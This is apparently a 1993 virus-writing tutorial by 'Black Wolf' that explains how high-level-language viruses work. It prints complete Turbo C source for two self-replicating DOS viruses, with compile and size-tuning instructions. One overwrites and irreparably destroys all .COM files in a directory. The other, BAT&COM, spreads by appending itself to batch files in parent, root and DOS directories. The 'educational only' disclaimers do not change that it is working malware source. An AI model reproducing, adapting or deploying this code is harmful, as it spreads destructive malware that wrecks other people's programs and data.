Virus in C
Upper-level languages, such as Basic, C, and a multitude of
others, are where most programmers these days feel at home. They
provide users with an amazing amount of built-in functionality,
and allow the programmer to escape from having to deal with the
machine that is being programmed on, and instead focus on the
details of the program design. For viruses, this makes them easy
languages to start in, but there are several obstacles. The first
is that most upper-level languages simply were not made to program
at a base systems level, even in C this is not easy. As a result,
most viruses that are in this genre are primitive [usually
overwriting] in their reproduction mechanism, although their
activation routines can be impressive. Another really important
disadvantage is that high-level languages often create files that
are at the very LEAST 10k and often much higher - not very
efficient for a virus. With this overhead, a memory-resident
virus is impractical as it would usually be noticed by the user
when a rather large chunk of memory disappears for no apparent
reason.
Another possibility with high-level languages, however, is a
source-code virus. This kind of virus is quite rare (to the best
of my knowledge) but could be very effective. What a source-code
virus does, in short, is search for another source file in the
same language - for example, it might search for all files with a
".C" extension for C. It would then add its own source code to
the file (often by way of "including" a header with the routines
and placing a call to it in main()) which would execute once the
program was compiled. After compilation, the virus would be more
or less hidden inside the application, and would be dormant until
it found another ".C" file. The only documented case of this that
I know of is Mark Ludwig's virus presented in Computer Virus
Developments Quarterly, Volume 1, Number 2.
At any rate, all of these viruses have some basic steps in
common. They are:
1) Find a file to infect, be it an executable, source,
or whatever (If none found, go to step 3)
2) Place virus in file.
3) Decide if any activation routines are met and, if so,
activate.
4) Return to host or terminate and return to DOS.
For overwriting viruses, the implementation of these is quite
simple. The only problem with these viruses is that they totally
destroy any program that they infect, making them quite obvious.
The only way to cure these is to find all of the infected files
and delete them, restoring them from backups. The following virus
is an extremely simple overwriting virus written in C. It will
infect all .COM files within the current directory, destroying
them completely. As it infects each file, it will print
"Infecting [FILENAME]" on the screen as a warning. If you compile
it to test it, compile it once, then EXE2BIN it and check the
resultant size. If it does not equal 9504 bytes, change the line
"x=9054;" to the appropriate size value. Do be careful with this
virus, because while it is a primitive one, it will destroy any
.COM files that it hits.
- - ------------------ Cut Here -------------------------- - -
/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
#include <stdio.h>
#include <dos.h>
#include <dir.h>
FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;
main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM's in DIR*/
{
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}
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The next virus to be presented is also in C, but is quite a
bit different in functioning than the last. Instead of infecting
executable files by overwriting them, it infects .BAT files by
the directory. When executed, BAT&COM will first search one
directory below the current for batch files. If none are found,
it will try the root directory, then finally the DOS directory.
If it finds any batch files, it will infect all of the batches
in the directory, then check to see if its file has already
been put there. If not, then it will create a file called
BAT&COM containing the virus. On my setup, after EXE2BIN-ing
the file, it came out around 10k. The virus code is as follows:
The BAT&COM Virus in C
- - - -----------------Start Code------------------------- - - -
/* This file is a high-level language virus of a different sort.
It will search out batch files and, when found, place a copy
of itself in the directory with the batch file while adding
instructions in the BAT to execute this new file. In this way,
it will spread each time an "infected" batch is run.
Disinfection is done simply by deleting all of the BAT&COM.COM
files and removing the commands from batch files that ruin
them. This one is NOT confined to the current directory,
so make sure it is on an isolated machine and be sure to
clean up any infections. PLEASE DO NOT RELEASE!
BAT&COM virus is (C) 1993 Black Wolf Enterprises.
*/
#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <string.h>
struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir); /* Save the old directory */
Pick_A_Dir(); /* Find a new directory to */
Infect_Directory(); /* infect and infect it. */
chdir(old_dir); /* Return to old directory */
return 0;
}
Pick_A_Dir()
{
int done;
chdir(".."); /* First, Go out a DIR. */
done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
/* root and DOS */
if (done)
{
chdir("\\");
done=findfirst("*.BAT",&ffblk,0);
if (done) chdir("\\DOS\\");
}
return 0;
}
Infect_Directory()
{
int done;
done = findfirst("*.BAT",&ffblk,0);
while (!done) /* Find all .BAT files */
{ /* and add code to run */
Do_Batch(); /* BAT&COM if not */
done = findnext(&ffblk); /* already there */
}
if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */
{Copy_Virus();} /* not exist, then */
return 0; /* copy it into dir.*/
}
Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];
Get_Path(vpath); /* Get path for adding path */
/* specifier in commands */
if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */
batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0; /* Terminate String */
if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
{ /* Batch is */
fseek(batch, 0, SEEK_END); /* infected.*/
fprintf(batch,"\n%s\\BAT&COM.COM",vpath);
} /*^- Add command */
/* to batch */
fclose(batch);
return 0;
}
Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024]; /* Copy the virus to */
/* new directory */
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("BAT&COM.COM","wb");
write_length=1024;
while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}
Get_Path(char *path)
{
strcpy(path, "A:\\");
path[0] ='A' + getdisk(); /* Returns current path */
getcurdir(0, path+3);
return 0;
}
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